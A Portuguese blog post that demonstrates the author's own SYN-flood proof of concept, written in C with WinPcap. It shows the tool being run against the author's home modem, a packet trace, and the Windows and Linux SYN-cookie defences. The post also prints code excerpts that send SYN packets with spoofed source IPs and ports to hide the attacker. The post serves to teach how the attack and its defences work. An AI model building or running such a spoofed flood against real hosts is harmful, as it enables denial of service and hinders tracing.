Hello World!

Apesar de parecer que eu não tenho mais nada pra fazer na vida, de fato eu tenho 🙂 Por isso, perdão pela demora!! Finalmente surgiu um tempo pra escrever a parte final!  Onde paramos?

[[ Rastreando ]]

Bom, eu falei da teoria, mas não mostrei o negócio acontecendo. Com tal peso na consciência, vou mostrar o PoC em ação, antes de mostrar o seu funcionamento.

Uma vez que eu conecto de Velox, o alvo será o servidor web de administração do meu modem. É claro que seria meio dramático eu querer derrubá-lo aqui, afinal, o programa não está 100% eficiente.

Vamos executar o programa:

Z:\>cbsynf

[[ CodeBunker's Syn Flooding PoC ]]

Uso: cbsynf <interface_real> <ip_alvo> <num_pacotes> <porta>

         <ip_interface_local> indica o IP da Interface local de
 onde os pacotes devem ser enviados
         <ip_alvo> indica o IP onde os pacotes devem ser enviados
         <num_pacotes> indica o numero de pacotes que devem ser
 enviados para o IP alvo
         <num_pacotes> porta para onde os pacotes devem ser enviados

Muito bem, temos os parâmetros que o programa pede e a explicação para cada um deles. Precisamos de uma porta aberta para que o alvo não rejeite a conexão. Ele deve guardar a requisição na memória (Backlog Queue), lembre-se disso. 

O IP da interface local será usado pelo programa pra que ele saiba qual placa utilizar. Se eu fosse determinar isso pelo próximo hop, eu teria muito trabalho! Sou um cara preguiçoso 😀

Meu IP na rede local é 192.168.254.3 e o do modem é 192.168.254.254. Dessa forma, a nossa linha de comando fica da seguinte forma:

Z:\>cbsynf 192.168.254.3 192.168.254.254 50 80
Utilizando interface: SiS NIC SISNIC

Sucesso! Enviados 50 pacotes!
Z:\>

Beleza! Agora, como todo bom rapaz, eu rodo um sniffer pra qualquer atividade que eu faça na rede. E olha o que eu encontrei:

 

Syn Flood

 

Bacana, um flood de pacotes TCP com o flag SYN ligado… um SYN Flood 😀 Percebeste duas coisas interessantes? O IP de origem está diferente a cada linha, assim como a porta de origem! Uma técnica pra dificultar o rastreamento. Tri-legal, como diz um tio meu, velha guarda (gente-fina).

E olha o que eu encontrei mais abaixo, no "sul" do trace:

 

ARP Requests

 

Adivivinha o que é isso? Várias requisições ARP vindas do alvo… e nenhuma resposta?!?!! Porque?? Porque o servidor está tentando localizar a placa de rede de quem enviou os pacotes SYN pra enviar de volta o ACK. Mas os IP´s de origem são falsos, então ninguém responde. De fato, só existe eu e o roteador nessa redezinha, uma história de amor e violência eletrônica.

[[ Mais Defesas ]]

Bom, o Windows permite que você se proteja com um recurso nativo, o SynAttackProtect. Esse recurso pode ser habilitado no registro, através da chave  HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters. Para isso, deve ser criado um valor DWORD nessa chave com o nome SynAttackProtect. O valor deste parâmetro deverá ser definido para 1 para que a proteção seja habilitada.

O Red Hat Linux te permite proteger-se dos Syn Floods através de configuração do arquivo /proc/sys/net/ipv4/tcp_syncookies.

Quando você habilita essa opção, colocando o valor "1" dentro deste arquivo, o SO passa a trabalhar com os chamados Syn Cookies, mas quem são esses caras afinal? Bom, ao invés de negar serviço sob um ataque desse tipo, o servidor, ao enviar um SYN/ACK, não gera um valor randômico para o número de reconhecimento, mas um valor obtido através de um cáculo de hash, baseado em informações como ip e porta de origem e não guarda essa requisição na memória!

Quando ele recebe um ACK de um cliente, ele recalcula o hash e verifica se este está coerente com as informações de IP de origem e destino. Inclusive eu acredito que isso pode ser utilizado para exploração de falhas, mas isso fica pra uma outra análise 😀

FonteHardening the TCP/IP stack to SYN attacks (excelente artigo)

[[ Proof of Concept ] ]

Mas se você pensou que ia ficar só na teoria, saiba que eu estou aqui pra acabar com a sua farra!  Sabe aquele CBSynF que executamos no início deste post? Ele foi desenvolvido em C e utiliza o WinPCap para suas artimanhas. O código-fonte pode ser baixado no endereço abaixo:

[[ CodeBunkers´s Syn Flooding PoC  ]]

Eu recomendo que você tente compilar e tudo, mas se você não puder por algum motivo, tem um executável lá dentro pra você testar. Mas eu sei que você não confia em mim 🙁

Pra você compilar, você precisa baixar o pacote do WinPCap. O projeto, que está em Visual C++ 7 (Visual Studio.NET 2003), pode ser aberto com o VS2005, que é gratuito, e convertido pra essa versão. Este faz referência à pasta C:\WpdPack\, onde deve ser descompactado o arquivo Winpcap Developers Pack. Com isso, você deve compilar sem problemas.

A idéia do PoC, base do artigo, é enviar vários pacotes SYN pro servidor, modificando endereço IP e porta de origem. Pra fazer isso, ao invés de utilizar Raw Sockets, estou utilizando o Winpcap, pra não ter problemas com proteções do SO, já que vamos trabalhar com um cara que se instala como driver e manda pacotes ethernet 🙂 Depois eu falo mais sobre estas proteções em um futuro texto sobre as "entranhas" do NMAP.

[[ Problema Inicial ]]

Já que vamos trabalhar a nível de Ethernet, precisamos montar o pacote desta camada. Ele contém as seguintes informações:

Endereço MAC Destino: 6 bytes

Endereço MAC Origem: 6 bytes

Tipo de Dado: 2 bytes (o do IP é 0x0800) 

Com isso, são 14 bytes de cabeçalho. Mas O problema é que eu não posso simplesmente mandar o pacote sem mais nem menos, porque a placa do alvo pode nem estar na mesma rede. Eu posso ter que passar porum gateway no caminho. Por isso é necessário o cálculo do próximo hop :S  Dor de cabeça? Sim. Vamos resolver a coisa de uma forma mais simples então 😀

O nosso programinha, para resolver todos os problemas de endereço numa tacada só, vai criar uma conexão socket com o ip/porta do alvo. Durante essa conexão, o próprio cbsynf irá monitorar os pacotes sendo enviados e capturar aquele com o Flag SYN 🙂 Uma viagem?? Nem tanto!

[[ Codificando ]]

Vamos primeiro armazenar os parâmetros!!

ssource_ip = argv[1];
starget_ip = argv[2];
num_pacotes = atoi(argv[3]);
porta_alvo = atoi(argv[4]);

Conheceu, não é? Pois bem, agora vamos preparar um filtro pra capturar a conexão inicial com o alvo:

//compile the filter
sprintf(&buffer_filtro, "dst host %s and tcp dst port %d", starget_ip, porta_alvo);
if(pcap_compile(fp, &fcode, buffer_filtro, 1, netmask) < 0)
{
	printf("Erro compilando filtro.\n");

	pcap_close(fp);
	return 4;
}

// Associa o filtro a captura
if(pcap_setfilter(fp, &fcode)<0)
{
	fprintf(stderr,"Erro associando o filtro\n");

	pcap_close(fp);
	return 5;
}

Ok, agora vamos preparar o nosso socket de reconhecimento do terreno:

/*
Trecho adaptado de um tutorial encontrado em:
	http://people.cs.uchicago.edu/~mark/51081/labs/LAB6/sock.html (26/05/07)
*/
socktemp = socket(AF_INET, SOCK_STREAM, 0);
if (socktemp < 0) {
	printf("Erro iniciando Socket!!\n");
	pcap_close(fp);
	return 6;
}

hostalvo = gethostbyname(starget_ip);
ZeroMemory(&addralvo, sizeof(struct sockaddr_in));
addralvo.sin_family = AF_INET;
memcpy(&addralvo.sin_addr.s_addr, hostalvo->h_addr, hostalvo->h_length);
addralvo.sin_port = htons(porta_alvo);

Agora passamos por um problema novo... ao mesmo tempo em que conectamos com o servidor, temos que monitorar isso... Pra isso vamos precisar criar outro Thread que monitore as conexões. O nome ConectaSocket, inclusive, coloquei errado porque planejei ao contrário, mas percebi que não daria certo conectar no socket no outro Thread:

hThread = CreateThread(
        NULL,                        // Sem atributos de seguranca
        0,                           // Tamanho de pilha padrao
        ConectaSocket,               // Funcao Thread
        &dwThrdParam,                // O Thread precisa de um argumento
        0,                           // Nenhum flag especial
        &dwThreadId);                // Handle do Thread para manipulacao

Essa outra função inicia a captura de pacotes, utilizando o filtro criado anteriormente. O nome poderia ser "Inicia Captura", mas tudo bem 🙂 Preguiça de refazer mesmo:

/* Funcao thread que captura os sockets na rede */
DWORD WINAPI ConectaSocket( LPVOID lpParam )
{
	/* Inicia a captura */
    pcap_loop(fp, 0, packet_handler, NULL);

    return 0;
}

Agora, criamos uma conexão com o alvo. 

if (connect(socktemp, &addralvo, sizeof(addralvo)) < 0) {
	printf("Falhou ao mandar pra porta %s :S Ele vai ignorar os pacotes! Desisto!!", porta_alvo);
	pcap_close(fp);
	close(socktemp);
	return 7;
}

Esta pequena "gambiarra" (artifício) abaixo serve pra verificar se o nosso pacote já foi capturado. Em caso positivo, termina o loop e o pacote passa a ser apontado pela variável pkt_data_template.

for (i = 0; pkt_data_template == NULL && i <= PASSOS_LOOP; i++) {
	Sleep(250);
}

Vou omitir o cálculo do CRC do TCP porque ele é muito chato e não nos interessa agora. Quem quiser mais informações, pode olhar no código-fonte. Isso é importante porque estaremos modificando informações no pacote.

Agora que temos uma cópia de pacote pronta pra ser enviada, só fazemos uma modificação e enviamos os pacotes 🙂

/*
	Este trecho de codigo seria uma forma de mascarar
	a identidade do atacante. Neste caso, eu estaria
	mudando o último byte do IP de origem.
*/

cabecalho_ip->saddr.byte4 = (i % 253) + 2;

/* Muda a porta de origem.. Mascarando de novo, ne? */
cabecalho_tcp->porta_origem = (i * 13) % 1000;

/* Envia o bendito pacote */
if (pcap_sendpacket(fp,	// Interface
	pkt_data_template, // Pacote formado
	ip_len + TAMANHO_HEADER_ETHERNET + sizeof(struct tcp_header) // Tamanho
	) != 0)
{
	printf("\nErro enviando o pacote: \n", pcap_geterr(fp));
	return 11;
}

Bom, essa é uma análise bastante geral do código utilizado. Mais detalhes podem ser encontrados no próprio código.

[[ Conclusões ]]

Cada PoC que eu desenvolvo aumenta muito o meu conhecimento porque eu preciso fazer uma série de pesquisas intensas pra conseguir chegar no meu objetivo. Gostaria de recomendar a vocês que tentassem fazer o mesmo. Vocês irão ver o quanto isso é legal e o tamanho dos resultados.

Espero que tenham gostado da análise e do código. Dúvidas, Sugestões, Reclamações? Estou à disposição, postem aí!

Abraços do seu amigo de sempre, o Code.Ripper (Ei, essa frase não era do Homem-Aranha?? Deixa pra lá).